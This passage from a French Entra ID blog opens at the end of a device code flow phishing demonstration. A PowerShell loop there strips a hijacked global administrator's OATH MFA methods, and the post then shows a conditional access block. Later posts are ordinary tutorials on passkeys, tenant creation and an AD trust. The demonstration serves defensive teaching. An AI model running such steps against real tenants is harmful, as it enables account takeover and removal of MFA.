    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

Configurez votre Passkey sur Entra ID

Microsoft vient d’annoncer il y a quelques heures l’extension de la prise en charge des clés de sécurité dans Microsoft Entra ID via l’application Microsoft Authenticator sur iOS et Android. C’est le moment de mettre un coup d’arrêt aux attaques de types Adversary-in-the-Middle (AitM) ! 💪🔌

Pourquoi utiliser une méthode d’authentification renforcée ?

Microsoft n’est pas le seul à le dire, tous les grands acteurs recommandent des méthodes d’authentification sans mot de passe. Elles apportent expérience de connexion plus sécurisée :

Microsoft propose juste ici une comparaison claire concernant les différentes méthodes les plus répendues :

Méthode d’authentificationSécuritéUsageDisponibilité
Windows Hello EntrepriseÉlevéÉlevéÉlevé
Microsoft AuthenticatorÉlevéÉlevéÉlevé
Authenticator LiteÉlevéÉlevéÉlevé
Clè d’accès (FIDO2)ÉlevéÉlevéÉlevé
Authentification par certificatÉlevéÉlevéÉlevé
Jetons matériels OATH (version préliminaire)MoyenneMoyenneÉlevé
Jetons logiciels OATHMoyenneMoyenneÉlevé
Passe d’accès temporaire (TAP)MoyenneÉlevéÉlevé
SMSMoyenneÉlevéMoyenne
VoixMoyenneMoyenneMoyenne
Mot de passeFaibleÉlevéÉlevé

Voici d’autres liens très utiles sur le sujet :

Qu’est-ce que les passkeys ?

Une passkey est une méthode qui permet aux utilisateurs d’accéder à des systèmes ou des services sans utiliser les mots de passe traditionnels. En général, elle repose sur des méthodes de déverrouillage d’appareils familières telles que la biométrie (comme les empreintes digitales ou la reconnaissance faciale) ou les codes PIN pour vérifier l’identité des utilisateurs.

Voici justement une courte vidéo en français expliquant les passkeys :

Merci à Merill Fernando pour cette illustration qui montre le processus d’ouverture de session sur votre iPhone ou Android :

Quelles sont les différences entre les passkeys et les clefs FIDO ?

Un premier article avait déjà été écrit sur les clefs FIDO, dont voici le lien. Mais l’excellent article de BIO-key explique les différences de façon assez claire, dont voici une traduction en français :

Sécurité :

  • Résistance aux attaques : Les passkeys reposent sur des méthodes de déverrouillage d’appareils et sont vulnérables aux attaques ciblant les mesures de sécurité de l’appareil (comme le spoofing biométrique ou le devinage de PIN) ou les techniques d’ingénierie sociale. En revanche, les clés de sécurité utilisent des méthodes cryptographiques robustes et offrent une protection supérieure contre une large gamme d’attaques à distance, y compris le phishing, l’homme du milieu et le bourrage d’identifiants.
  • Stockage et gestion des clés : Les passkeys stockent généralement les clés sur l’appareil de l’utilisateur, ce qui peut les rendre vulnérables à un accès non autorisé. Les clés de sécurité stockent quant à elles les clés cryptographiques dans le jeton matériel lui-même, réduisant ainsi le risque de compromission des clés.

Facilité d’utilisation :

  • Expérience utilisateur : Les passkeys offrent une expérience plus conviviale, car elles utilisent des méthodes de déverrouillage d’appareils familières telles que la biométrie ou les PIN. En revanche, les clés de sécurité peuvent nécessiter des étapes supplémentaires ou la possession physique, ce qui peut affecter leur facilité d’utilisation.
  • Formation et intégration : Évaluez la facilité de former les utilisateurs à l’utilisation efficace des passkeys ou des clés de sécurité. Les passkeys peuvent avoir une courbe d’apprentissage plus courte, tandis que les clés de sécurité peuvent nécessiter plus de guidage et d’éducation.

Commodité :

  • Dépendance à l’appareil : Les passkeys reposent sur l’appareil de l’utilisateur pour l’authentification, ce qui les rend plus pratiques pour les utilisateurs qui changent fréquemment d’appareil. En revanche, les clés de sécurité, en tant que jetons physiques, nécessitent que les utilisateurs les portent pour l’authentification, ce qui peut être moins pratique pour certains individus.
  • Perte ou oubli des identifiants : Évaluez l’impact de la perte ou de l’oubli des passkeys ou des clés de sécurité sur l’accès des utilisateurs. Les passkeys peuvent offrir des options de récupération plus faciles, tandis que les clés de sécurité peuvent nécessiter des étapes supplémentaires ou une intervention administrative.

Scalabilité :

  • Déploiement et gestion : Évaluez la facilité de déploiement et de gestion des passkeys ou des clés de sécurité auprès d’une population d’utilisateurs diversifiée. Tenez compte de facteurs tels que la provision, la révocation et les capacités de gestion centralisée.
  • Considérations financières : Évaluez les implications financières de la mise en œuvre des passkeys ou des clés de sécurité à grande échelle. Tenez compte de facteurs tels que les coûts initiaux, la maintenance continue et les besoins éventuels de remplacement des appareils.

Compatibilité :

  • Normes et support : Les passkeys et les clés de sécurité doivent être conformes à des normes largement adoptées telles que FIDO2 (Fast Identity Online) pour assurer la compatibilité avec diverses plateformes et services.
  • Intégration des applications : Évaluez la compatibilité des passkeys ou des clés de sécurité avec les applications et systèmes cibles. Tenez compte de facteurs tels que les API disponibles, les SDK et le niveau d’effort d’intégration requis.
Blog BIO-Key

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur la mise en place d’une passkey sur un utilisateur d’un tenant Azure :

Etape 0 – Rappel des prérequis :

Pour réaliser ces tests de passkey sur votre tenant Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft 😎

Voici une vue de la page des informations de sécurité de l’utilisateur avant l’activation de la fonctionnalité Passkey :

Il n’est pour l’instant pas possible de lui ajouter une passkey, bien que le tenant soit déjà correctement configuré pour les clefs FIDO :

Avant de pouvoir ajouter une passkey sur un utilisateur de test, il est nécessaire d’activer cette fonctionnalité (encore en préversion) via le portail Entra ID.

Etape I – Configuration passkey du tenant :

Pour cela, rendez-vous sur la page de Microsoft Entra ID par ce lien, rendez-vous dans le menu suivant, puis cliquez sur la rubrique FIDO2 :

Sur le second onglet, configurer ou reconfigurer les options comme ceci :

Comme il est nécessaire d’ajouter des AAGUID spécifiques (Apple / Android) aux passkeys, il est important de reprendre également ceux utilisés pour les clefs FIDO (Un grand merci à Nathan McNulty pour le script !)

Pour cela, commencez par installer le module Graph :

Install-Module Microsoft.Graph

Connectez-vous à votre tenant via le module Graph en utilisant un compte ayant les permissions nécessaires :

Connect-MgGraph -Scope AuditLog.Read.All,UserAuthenticationMethod.Read.All

Listez tous les AAGUID des clés FIDO2 enregistrées pour tous vos utilisateurs via la commande suivante :

((Get-MgReportAuthenticationMethodUserRegistrationDetail -Filter "methodsRegistered/any(i:i eq 'passKeyDeviceBound')" -All).Id | ForEach-Object { Get-MgUserAuthenticationFido2Method -UserId $_ -All }).AaGuid | Select-Object -Unique

Copiez les valeurs AAGUID dans la configuration, puis ajoutez les deux AAGUID correspondants respectivement aux Microsoft Authenticator pour Android / Apple

de1e552d-db1d-4423-a619-566b625cdc84
90a3ccdf-635c-4729-a248-9b709135078f

Cela donne la vue suivant, puis cliquez sur Sauvegarder :

Notre tenant est maintenant correctement configuré. Il faudrait attendre environ 5 à 10 minutes afin que l’utilisateur puisse retrouvez la nouvelle option.

Etape II – Configuration passkey de l’utilisateur :

Avant cela, pensez à activer le Bluetooth sur votre ordinateur :

Retournez sur la page des informations de sécurité de l’utilisateur, puis cliquez-ici pour ajouter une passkey :

Choisissez Passkey, puis cliquez sur Suivant :

Avant confirmez votre identité par un premier challenge MFA :

Une fois le challenge MFA réussi, cliquez sur Suivant :

Lisez la consigne, puis cliquez sur Suivant :

Choisissez la marque correspondante à votre téléphone :

Lisez la consigne, puis cliquez sur Continuer :

Lisez la consigne, puis cliquez sur Suivant :

Lisez le message, puis cliquez sur Je comprends :

Cliquez sur Suivant :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Cliquez sur Pas maintenant :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Sur votre téléphone, cliquez sur Enregistrer autrement :

Choisissez Microsoft Authenticator :

Cliquez sur Créer :

Cliquez sur Utiliser une fois :

Votre ordinateur vous confirme la bonne sauvegarde de la clef sur votre téléphone, cliquez sur OK :

Nommez votre nouvelle passkey :

Celle-ci fait maintenant partie de vos méthodes de connexion :

Notre environnement de test est maintenant en place ! Il ne nous reste plus qu’à tester la connexion en utilisant la passkey.

Etape III – Création d’une méthode d’authentification renforcée :

Par la suite, la mise en place d’une méthode d’une méthode d’authentification renforcée est une bonne pratique pour obliger l’utilisateur a utiliser cette nouvelle méthode MFA résistante à l’hameçonnage.

Rendez-vous sur le portail Entra ID pour y créer cette nouvelle méthode renforcée.

Cliquez sur Méthodes d’authentification renforcées pour en ajouter une nouvelle, puis cliquez sur Suivant :

Cliquer sur sur Créer :

Créer une nouvelle police d’accès conditionnel :

Saisissez un nom à votre police et sélectionnez votre utilisateur de test :

Ajoutez la ou les applications :

Terminez la configuration en autorisant l’accès sous réserve de satisfaire votre nouvelle méthode d’authentification renforcée :

Attendez quelques minutes avant de pouvoir tester les changement.

Etape IV – Test passkey sans mémorisation du téléphone :

Pour cela, ouvrez un navigateur internet en mode privé, rendez-vous sur la page portal.azure.com, puis cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Cliquez sur Pas maintenant :

Choisissez la passkey enregistrée précédemment dans votre Microsoft Autenticator :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes.

Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Afin de gagner du temps et d’éviter d’utiliser l’appareil photo de votre téléphone, il est possible de mémoriser le téléphone sur votre ordinateur de confiance.

Etape V – Test passkey avec mémorisation du téléphone :

Pour cela, réouvrez un navigateur internet en mode privé, rendez-vous sur la page portal.azure.com, puis cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Cliquez cette fois sur OK :

Cliquez sur Créer pour enregistrer la même clef sur Samsung Pass :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes. Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Afin de vérifier le changement, réouvrez un navigateur internet en mode privé, rendez-vous sur la page office.com, puis cliquez-ici :

Cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez le téléphone mémorisé précédement :

Attendez quelques secondes l’envoi de la notification à votre téléphone :

Choisissez la passkey enregistrée précédemment dans votre Microsoft Autenticator :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes.

Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Etape VI – Suppression d’une Passkey :

Enfin, il est possible de supprimer une passkey sur un utilisateur. L’utilisateur peut le faire lui-même via sa propre page de sécurité :

Ou par le biais d’un administrateur via le portail Entra ID :

Dans les deux cas, l’utilisateur devra toujours retirer la passkey stockée sur son application Authenticator de son smartphone.

Si l’utilisateur ne dispose pas encore de passkey sur son compte et tente d’accéder à une ressource protégée par un accès conditionnel, le message suivant devrait apparaître :

Il devrait malgré tout pouvoir ajouter sa passkey par cette page https://aka.ms/mysecurityinfo :

Conclusion

La mise en place de méthodes renforcées d’authentification pour les identités Cloud est une excellente chose pour la sécurité. Cette démarche doit par la suite être compagné d’un renforcement des accès conditionnels afin que créer une couche de protection supplémentaire 💪

Créez votre premier tenant Microsoft Entra

Je suis sûr que certains d’entre vous ont déjà créé plusieurs dizaines de tenants Microsoft Entra, possiblement plus 💪. Mais certains d’autres n’ont peut-être jamais osé franchir le pas ! Rassurez-vous, rien de bien compliqué. En cette année 2024, je vous propose de repartir sur les basiques et de créer ensemble un nouveau tenant afin de comprendre les premiers paramètres appliqués par Microsoft.

Avant de commencer le petit exercice, reparcourons ensemble quelques notions essentielles.

Qu’est-ce qu’un tenant Microsoft Entra ?

C’est probablement une des premières questions à laquelle on tente de répondre quand on commence à s’intéresser au cloud de Microsoft. Inutile d’aller bien loin, Microsoft explique assez bien le concept :

Le locataire (tenant) Microsoft Entra est une limite de sécurité d’identité qui est sous le contrôle du service informatique de votre organization. Dans cette limite de sécurité, l’administration des objets (tels que les objets utilisateur) et la configuration des paramètres à l’échelle du locataire sont contrôlées par vos administrateurs informatiques.

Microsoft Learn

A l’intérieur d’un tenant Microsoft Entra, on y retrouvera donc principalement :

  • un annuaire ou répertoire (= directory) contenant des identités humaines, machines ou applicatives
  • Des applications Microsoft comme la suite office 365
  • Des ressources comme des machines virtuelles sur Azure
  • Des applications tierces
  • Des configurations comme des droits, des polices ou mesures de sécurité

Cette vidéo est assez ancienne, mais elle explique assez bien le concept d’Azure Active Directory (Entra ID) et de ses différences avec Windows Server Active Directory :

Combien coûte un tenant Microsoft ?

Un tenant Microsoft en lui-même ne coûte rien, mais les services comme Office 365, les licences pour renforcer la sécurité de votre tenant, ou encore les ressource Azure déployées vont pour la plupart être payantes.

Quelle est la différence entre Microsoft Entra et Microsoft Entra ID ?

Microsoft Entra est une famille de plusieurs produits comprenant également Microsoft Entra ID. Le tableau suivant et disponible sur cette page montre certaines fonctionnalités disponible sur Microsoft Entra :

Ce portail complet est disponible à cette adresse :

Combien coûte Microsoft Entra ID ?

Le tableau ci-dessous et également disponible sur cette page Microsoft nous explique bien les différentes versions de Microsoft Entra ID :

  • La première colonne de gauche nous montre qu’il existe une version gratuite de Microsoft Entra ID comprenant des bases de sécurité suffisantes.
  • D’autres versions avec plus de fonctionnalités et des mesures de sécurité personnalisées sont disponibles sous forme de licences par utilisateur.

Afin de rentrer plus en détail dans le fonctionnement de Microsoft Entra, je vous propose de regarder l’excellente vidéo de Seyfallah Tagrerout :

Plusieurs méthodes de création d’un tenant Microsoft existent. Il est généralement possible de créer son propre nouveau tenant en partant d’une identité Cloud existante sans en perturber le fonctionnement.

Afin de vous faire une meilleure idée, je vous propose un petit exercice à ce sujet, et de voir certains éléments liés à votre création :

Commençons par un bref rappel des prérequis.

Etape 0 – Rappel des prérequis :

Pour réaliser mon exercice sur la création d’un nouveau tenant Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft 🤣

La suite se passera directement par la création du nouveau tenant.

Etape I – Création du nouveau tenant :

Pour cela, rendez-vous sur la page de Microsoft Entra ID par ce lien, puis cliquez-ici pour lister les tenants vous étant accessibles :

Cliquez sur Créer pour démarrer la procédure :

Deux types de tenants sont possibles : B2C ou B2B (plus d’informations ici)

Choisissez le tenant B2B, puis cliquez sur Continuer :

Renseignez les 3 champs suivants puis cliquez sur Créer :

Réussissez le CAPTCHA, puis cliquez sur Soumettre :

La création de votre nouveau tenant Microsoft a commencé, attendez environ 5 minutes :

Environ 5 minutes plus tard, votre nouveau tenant Microsoft est maintenant prêt, cliquez-ici pour basculer sur celui-ci :

La bascule vers le nouveau tenant est également possible depuis le bouton de paramètre suivant :

Le nouveau tenant s’ouvre directement sur le portail Azure. Constatez la présence de ces 2 valeurs uniques qui définissent votre nouveau tenant :

Consultez les utilisateurs présents sur votre nouveau tenant par cette page.

A ce stade, le compte utilisateur du tenant initial devrait être le seul présent, cliquez sur son nom :

Prenez soin de vérifier l’origine de cette identité externe à votre nouveau tenant, puis cliquez-ici pour consulter ses rôles Entra ID :

Constatez la présence logique du rôle d’Administrateur Général, naturellement attribué au créateur du tenant :

Votre tenant fonctionne bien, mais est pour l’instant assez vide. Je vous propose donc de continuer en créant un premier utilisateur dans Entra ID.

Etape II – Création d’un nouvel utilisateur :

Créez votre premier utilisateur rattaché à votre nouveau tenant par le menu suivant :

Remplissez les champs obligatoires, puis cliquez sur Suivant :

Remplissez les champs que vous souhaitez, puis cliquez sur Suivant :

Cliquez ici pour lui un ajouter un rôle Entra ID :

Recherchez le rôle d’Administrateur général, puis cliquez sur Sélectionnez :

Lancez la validation de votre création :

Une fois la validation terminée, sauvegardez le mot de passe provisoire, puis lancez la création :

La notification suivante devrait apparaître :

Rafraichissez la page des utilisateurs Entra ID afin de voir votre création :

Ouvrez un navigateur privé, lancez la page web d’Entra ID, puis renseignez les identifiants de votre nouvel utilisateur :

A l’issue de cette première connexion, définissez un nouveau mot de passe à cet utilisateur :

Dans le but de supprimer l’utilisateur créateur du nouveau tenant dans ce dernier, retournez sur la page des utilisateurs, puis cliquez-ici :

Confirmez votre choix en cliquant sur OK :

Rafraichissez la page des utilisateurs Entra ID afin de voir uniquement votre nouveau compte :

Etape III – Création d’autres utilisateurs :

Vous pourriez créer ou inviter d’autres utilisateurs comme le montre les exemples d’identités visibles sur l’image ci-dessous :

Microsoft nous liste certaines identités sur cette page :

Voici un exemple de connexion d’un compte invité de type mail essayant de se connecter à un site SharePoint dont l’accès se fera via un code envoyé par email :

Intéressons-nous enfin à la sécurité de base d’un tenant Microsoft.

Etape IV – Paramètres de sécurité par défaut :

Depuis octobre 2019, les nouveaux tenants ont la sécurité par défaut d’activé. Microsoft le justifie par l’argument suivant :

Selon nos connaissances, plus de 99,9% de ces attaques liées à l’identité sont stoppées en utilisant l’authentification multifacteur et en bloquant l’authentification héritée. Notre but est de nous assurer que toutes les organisations ont activé au moins un niveau de sécurité de base, sans coût supplémentaire.

Microsoft Learn

La sécurité par défaut est entièrement gérée par Microsoft. Elle fait sens dans le cadre de tenants dépourvus de licences Microsoft Entra ID payantes et agira sur les points suivants :

L’activation ou la désactivation de la sécurité par défaut est possible depuis l’écran suivant d’Entra ID :

Terminons cet exercice par un test de la sécurité par défaut d’activé d’Entra ID.

Etape V – Test des paramètres de sécurité par défaut :

Pour cela, connectez-vous avec un compte administrateur sur le portail Microsoft Entra ID depuis un navigateur privé :

Dans cet exemple, notre compte utilisateur est un administrateur et essaye d’accès à un ressource sensible.

Comme la MFA n’est pas encore configuré sur ce compte, nous sommes invités à y remédier en cliquant sur Suivant :

Afin de configurer Microsoft Authenticator, téléchargez l’application sur votre Smartphone, puis cliquez sur Suivant :

Cliquez sur Suivant :

Scannez le QR code depuis l’application installé sur votre Smartphone, puis cliquez sur suivant :

Saisissez sur votre Smartphone le nombre affiché à l’écran :

Une fois le nombre correctement saisi, cliquez sur Suivant :

Cliquez sur Terminer :

Cliquez sur Non :

Le portail de Microsoft Entra ID s’ouvre bien :

Refermer votre navigateur privé, puis réouvrez-le à nouveau.

Connectez-vous à nouveau avec le même compte administrateur sur le portail Microsoft Entra ID :

La MFA étant déjà configuré sur ce compte, saisissez à nouveau sur votre Smartphone le nombre affiché à l’écran :

Cliquez sur Non :

Le portail de Microsoft Entra ID s’ouvre bien une nouvelle fois :

Conclusion

Cet exercice nous montre qu’il n’y a vraiment rien de sorcier dans la création d’un nouveau tenant Microsoft Entra dans sa configuration de base, même si beaucoup d’autres paramétrages non montrés ici seront à configurer selon les cas. Enfin, d’autres mesures de sécurité très intéressantes à mettre en place devraient bientôt suivre dans de prochains articles 😎.

Trustez votre Entra Domain Services

Anciennement appelé AADDS pour Azure Active Directory Domain Services, ce service a lui aussi subi le renommage d’Entra ID de 2023. Très facile à déployer et à maintenir, le domaine managé de Microsoft a tout pour plaire. Mais depuis quelques temps, peu d’évolutions lui ont été apportées. Dean Cefola de la Cloud Academy refait parler de lui et des possibles trusts pour notre plus grand plaisir.

Pour commencer, quelques notions intéressantes sur ce service managé par Microsoft :

Qu’est-ce que Microsoft Entra Domain Services ?

Grâce à Entra Domain Services, il va vous être possible de générer rapidement et facilement un domaine AD, au sens classique du terme, managé par Microsoft et à partir de votre Entra ID :

Microsoft Entra Domain Services offres des services de domaine managé, comme la jonction de domaine, la stratégie de groupe, le protocole LDAP et l’authentification Kerberos et NTLM. Vous utilisez ces services de domaine sans avoir à déployer, gérer et apporter des correctifs aux contrôleurs de domaine dans le cloud.

Microsoft Learn

La partie de gauche de ce schéma nous montre le potentiel de synchronisation d’Entra Domain Services depuis des données stockées dans Entra ID :

Mais alors quelles sont les différences entre un AD DS classique, Entra ID et Entra Domain Services ?

Cet article ne date pas d’hier mais répond très bien à la question !

Afin de rentrer directement dans le vif du sujet, voici donc la vidéo de Dean ayant servi de base à cet article ainsi que le tutoriel officiel de Microsoft :

Vous l’aurez compris, le but est donc tester le trust entre un environnement on-premise et un domaine managé par Microsoft hébergé sous Azure. Grâce à cette approche séparée, chaque domaine impactera en premier lieu sa localité, tout en ayant des adhérences avec les annexes.

Afin de bien comprendre la mise en place du trust entre le domain Active Directory on-premise et le service managé Entra Domain Services, je vous propose de réaliser ce petit exercice :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice de Trust, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité Azure, il est nécessaire de créer plusieurs ressources détaillées par la suite.

Etape I – Création du domaine managé Entra Domain Services :

Commençons par créer notre service de domaine active Directory managé. Pour cela, rechercher le service Microsoft Entra Domain Services sur votre portail Azure :

Cliquez-ici pour créer le service managé sur votre tenant :

Renseignez ses informations de base dont son nom et le SKU Enterprise, puis cliquez sur Suivant :

Validez ses propriétés réseaux, puis cliquez sur Suivant :

Adaptez au besoin les membres du groupe d’administrateurs créé par défaut à votre domaine managé, puis cliquez sur Suivant :

Définissez le périmètre de synchronisation, puis cliquez sur Suivant :

Parcourez les options liées à la sécurité de votre domaine managé, puis lancez la validation Azure :

Cliquez sur Créer pour lancez la création de toutes les ressources Azure :

Lisez bien l’avertissement sur le blocage de modification après création, puis cliquez sur OK :

La notification Azure suivante apparaît en haut à droite de votre portail :

Attendez environ 30 minutes la première phase de déploiement des ressources Azure :

Environ 30 minutes plus tard, cliquez-ici pour parcourir les ressources Azure liées à votre domaine managé :

Comme vous le constatez ici, une phase de post-déploiement prend le relai pendant encore 25 minutes environ :

Approximativement 25 minutes plus tard, la phase de post déploiement est maintenant terminée.

Cliquez-sur le message ci-dessous pour corriger le problème lié aux enregistrements DNS de votre réseau virtuel :

Lancez-le diagnostique en cliquant sur Lancer :

Corrigez l’adressage DNS de votre réseau virtuel en cliquant sur Réparer :

Confirmez votre choix en cliquant à nouveau sur Réparer :

Constatez la présence d’une notification Azure impactant votre réseau virtuel :

Vérifiez la disparition de la notification d’alerte sur votre domaine managé :

Afin de gérer plus facilement le partage côté domaine managé, vous pouvez créer une machine virtuelle Azure sur le même réseau que votre domaine managé avec la fonctionnalité suivante :

Enfin, rendez-vous sur la console d’administration de Microsoft 365 afin de créer un utilisateur de test Cloud :

Notre domaine managé par Microsoft est configuré dans sa partie initiale.

Nous allons reproduire maintenant une seconde configuration pour notre domaine AD non managé et représentant un environnement on-premise.

Etape II – Création du domaine non managé Active Directory :

Pour cela, rechercher le service des Machines virtuelles sur votre portail Azure :

Cliquez-ici pour commencer la création de la machine virtuelle :

Renseignez les informations de base relatives à votre VM :

Choisissez la taille de votre VM, définissez un compte administrateur local, bloquez les ports entrants, puis cliquez sur Suivant :

Ajoutez un disque secondaire pour les dossiers systèmes AD, puis cliquez sur Suivant :

Prenez soin de définir un réseau virtuel différent du domaine managé, retirez l’adresse IP publique de votre VM, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Retournez sur le réseau virtuel nouvellement créé par la machine virtuelle afin de renseigner l’adresse IP locale de votre VM en tant que serveur DNS, puis Sauvegardez :

Une fois que le service Azure Bastion est déployé, connectez-vous à votre machine virtuelle en utilisant le compte d’administrateur local :

Une fois connecté, rendez-vous dans le Gestionnaire des disques :

A l’ouverture du gestionnaire des disques, il vous est proposé d’initialiser le disque de données :

Par la suite créez un nouveau volume simple :

Puis formatez ce dernier en NTFS :

Continuez en ajoutant un nouveau rôle à votre Windows via Server Manager :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cochez les 2 rôles ci-dessous, puis cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Installer :

Attendez environ 5 minutes que l’installation des 2 rôles se termine :

Démarrez la promotion de ce serveur en tant que contrôleur de domaine AD :

Créez une nouvelle forêt locale :

Définissez un mot de passe DSRM, puis cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Renseignez la lettre de votre disque de données, puis cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Installer :

Quelques minutes plus tard, Windows vous avertit d’une déconnexion imminente :

Attendez quelques minutes qu’Azure Bastion vous reconnecte une fois la machine virtuelle redémarrée avec le compte administrateur de domaine :

Attendez la fin de l’initialisation pendant environ 5 minutes :

Vérifiez la présence de votre domaine AD dans la console Server Manager :

Enfin, créez une nouvelle OU ainsi qu’un nouvel utilisateur local à votre domaine AD :

Continuons la suite de l’exercice en reliant les deux réseaux virtuels Azure entre eux.

Etape III – Appairage des réseaux virtuels :

Sélectionnez le réseau virtuel contenant votre domaine managé par Microsoft :

Ajoutez un appairage de réseau virtuel comme ceci :

Configurez votre appairage comme-ci, puis cliquez sur Ajouter :

Les deux notifications Azure suivantes devraient apparaître :

Vérifiez le changement de statut de votre appairage :

Le lien réseau est maintenant opérationnel. La suite consiste à élaborer la relation de confiance entre les deux domaines Active Directory.

Etape IV – Mise en place du Trust Active Directory :

Copiez les 2 adresses IPs présentes sur votre domaine managé par Microsoft :

Sur votre contrôleur de domaine local, ouvrez l’outil DNS :

Ajoutez un nouveau transit conditionnel via un clic droit :

Reprenez le nom de votre domaine managé, ajoutez-y ses deux adresses IPs, cochez la case suivante, puis cliquez sur OK :

Testez le bon transfert des requêtes du domaine managé via la commande suivante :

nslookup jloudev.cloud

Toujours sur votre contrôleur de domaine, ouvrez le menu suivant :

Rendez-vous dans les propriétés de votre domaine :

Dans l’onglet suivant, cliquez sur Nouveau Trust :

Cliquez sur Suivant :

Reprenez le nom de votre domaine managé, puis cliquez sur Suivant :

Définissez le trust au niveau de la forêt, puis cliquez sur Suivant :

Activez le trust bidirectionnel, puis cliquez sur Suivant :

Configurez le trust simplement pour ce domaine, puis cliquez sur Suivant :

Cliquez sur Suivant :

Définissez un mot de passe trust, puis cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

N’activez pas le trust sortant, puis cliquez sur Suivant :

Cliquez enfin sur Terminer :

Vérifiez la présence du lien dans le tableau des trusts :

Continuons avec la configuration de trust sur le domaine managé par Microsoft.

Etape V – Mise en place du Trust Entra Domain Services :

Pour cela, retournez sur la page Azure de votre domaine managé par Microsoft, puis ajoutez le trust par le menu suivant :

Renseignez les informations dont les adresses IP de vos serveurs DNS / AD, puis cliquez sur Sauvegarder :

Confirmez votre choix en cliquant sur OK :

Quelques minutes plus tard, le trust apparait bien comme côté Entra Domain Services :

La liaison Trust est maintenant opérationnelle des 2 côtés. Avant de tester les accès, il est nécessaire d’inscrire les droits sur les 2 partages de fichiers.

Etape VI – Configuration du partage Active Directory :

Retournez dans la gestion de l’Active Directory afin d’y créer un nouveau groupe contenant à la fois notre utilisateur AD et notre utilisateur Cloud comme ceci :

Créez un nouveau dossier sur votre serveur local, puis ajoutez ce nouveau groupe AD avec des droits en modification :

Sur l’onglet de Partage cliquez sur le Partage avancé :

Activez le partage, puis définissez les permissions :

Ajoutez le même groupe AD avec les droits suivants :

Il ne nous reste qu’à répéter cette opération sur le second partage Cloud.

Etape VII – Configuration du partage Entra Domain Services :

Retournez dans la gestion AD d’Entra Domain Services afin d’y créer là aussi un nouveau groupe contenant à la fois notre utilisateur AD et notre utilisateur Cloud comme ceci :

Créez un nouveau dossier sur votre serveur Cloud, puis ajoutez ce même groupe Cloud avec des droits en modification :

Sur l’onglet de Partage, cliquez sur le Partage avancé :

Activez le partage, puis définissez les permissions :

Ajoutez le même groupe Cloud avec les droits suivants :

Tout est enfin prêt pour passer aux tests utilisateurs. Croisons les doigts ! 🤞

Etape VIII – Test d’accès Active Directory :

Créez une nouvelle machine virtuelle sous Windows 11 et jointe au domaine Active Directory, puis ouvrez une session avec votre utilisateur de test via Azure Bastion :

Renseignez le chemin d’accès du partage réseau Cloud dans l’explorateur Windows, constatez la bonne authentification, puis créez une fichier pour vérifier les droits en écriture :

Effectuons maintenant un second test côté Entra Domain Services.

Etape IX – Test d’accès Entra Domain Services :

Créez une seconde machine virtuelle sous Windows 11 et jointe cette fois au domaine managé par Microsoft, puis ouvrez une session avec votre utilisateur de test via Azure Bastion :

Renseignez le chemin d’accès du partage réseau local dans l’explorateur Windows, constatez la bonne authentification, puis créez une fichier pour vérifier les droits en écriture :

Conclusion :

